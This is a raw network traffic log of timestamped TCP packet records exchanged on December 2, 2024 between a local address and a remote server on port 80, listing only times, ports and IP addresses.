Dec 2, 2024 11:20:52.841679096 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.841680050 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.841777086 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.841787100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.841850042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.841859102 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.841902971 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.841924906 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842005968 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842014074 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842109919 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842128038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842185974 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842267990 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842279911 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842391968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842406988 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842463970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842518091 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842536926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842561960 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842627048 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842705011 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842776060 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842786074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842839956 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842883110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842916965 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.842987061 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.842992067 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843086958 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843137980 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843161106 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843254089 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843276978 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843359947 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843395948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843419075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843530893 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843535900 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843626976 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843657017 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843681097 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843827009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.843905926 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.843976974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844022036 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844043970 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844084978 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844125032 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844129086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844199896 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844305038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844388962 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844436884 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844496012 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844527960 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844538927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844616890 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844655991 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844707966 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844773054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844799042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844836950 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844880104 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844918013 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.844985008 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.844999075 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845087051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845155001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845175982 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845232010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845276117 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845305920 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845385075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845386982 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845474958 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845523119 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845552921 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845582962 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845628023 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845673084 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845747948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845769882 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845853090 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.845880032 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.845930099 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846003056 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846039057 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846111059 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846168041 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846189022 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846230984 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846287966 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846321106 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846503019 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846518040 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846602917 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.846635103 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846681118 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846923113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.846966982 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847084045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847084045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847191095 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847264051 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847310066 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847378969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847423077 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847445965 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847465992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847543955 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847676992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847687006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847739935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847784042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847879887 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.847908974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.847970963 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848011971 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848015070 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848062038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848114967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848155975 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848222017 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848315001 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848403931 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848467112 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848527908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848542929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848603010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848637104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848648071 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848697901 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848767042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848829985 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848892927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.848906994 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.848939896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849024057 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849150896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849167109 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849220037 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849263906 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849309921 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849311113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849368095 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849386930 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849469900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849490881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849637985 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849639893 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849759102 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849777937 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.849884987 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849931955 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.849986076 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850083113 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850168943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850241899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850289106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850339890 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850352049 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850395918 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850414991 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850506067 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850558996 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850558996 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850610971 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850667953 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850687981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850727081 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.850769043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.850845098 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.851016998 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.852570057 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.852745056 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.852884054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.852946997 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853024960 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853070021 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853125095 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.853261948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.853267908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853338957 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853384018 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853460073 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.853528976 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853626013 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.853755951 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.853821039 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853869915 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.853980064 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854052067 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854057074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854120016 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854165077 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854263067 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854290009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854315042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854486942 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854671001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854773998 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854849100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854893923 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854937077 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.854953051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.854953051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855101109 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855175018 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855221987 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855228901 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855329990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855329990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855443001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855519056 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855562925 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855603933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855647087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855659008 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855705976 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855762959 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855768919 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.855878115 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.855940104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856017113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856132984 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856216908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856257915 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856357098 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856394053 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856439114 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856456041 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856591940 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856638908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856686115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856688023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.856894970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856962919 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.856966972 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.857007980 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.857079029 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.857121944 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.857319117 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:52.857367992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:52.857911110 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.160394907 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160516024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160589933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160684109 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.160693884 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160739899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160751104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.160783052 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160830021 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160840988 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.160840988 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.160903931 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160948038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.160990000 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161015034 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161015034 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161163092 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161186934 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161206007 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161258936 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161303043 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161345959 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161408901 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161454916 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161561012 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161607027 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161663055 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161674976 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161804914 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161814928 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161863089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.161868095 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.161994934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162100077 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162111998 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162144899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162189960 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162309885 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162364006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162370920 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162416935 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162527084 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162578106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162622929 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162659883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162776947 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162834883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.162879944 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.162929058 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163060904 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163065910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163115978 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163116932 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163289070 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163336039 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163392067 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163502932 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163556099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163630009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163630009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163671970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163759947 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163793087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163839102 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.163846970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.163991928 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.164108992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164155006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164201975 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164283991 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164318085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.164331913 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164388895 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164427042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.164551020 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164597034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.164601088 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.164750099 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.164920092 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165054083 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165105104 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165116072 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.165148020 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165191889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165258884 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165317059 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.165323019 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165366888 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165425062 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.165560961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165604115 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.165606976 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.165751934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.165848017 CET	80	49749	185.215.113.16	192.168.11.20
